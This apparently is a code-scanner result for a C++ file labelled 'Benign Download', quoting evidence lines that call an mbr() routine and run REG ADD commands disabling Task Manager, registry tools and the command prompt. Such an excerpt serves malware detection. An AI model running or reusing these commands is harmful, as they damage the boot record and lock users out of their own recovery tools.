Benign Download

main.cpp

CreateThread usage in sourcesystem() function call

SHA-256b5474c41df8113b686723f6d83e0e45b0a572914e26b8ab2ddc70d019c687be4

Evidence

system() function call lines 2284–2289

         // I pretty sure there will be memory leaks
          mbr();
          CreateThread(0, 0, textz, 0, 0, 0);
          system("REG ADD hkcu\\Software\\Microsoft\\Windows\\CurrentVersion\\policies\\system /v DisableTaskMgr /t reg_dword /d 1 /f");
          system("REG ADD hkcu\\Software\\Microsoft\\Windows\\CurrentVersion\\policies\\system /v DisableRegistryTools /t reg_dword /d 1 /f");
          system("REG ADD hkcu\\SOFTWARE\\Policies\\Microsoft\\Windows\\System /v DisableCMD /t reg_dword /d 1 /f");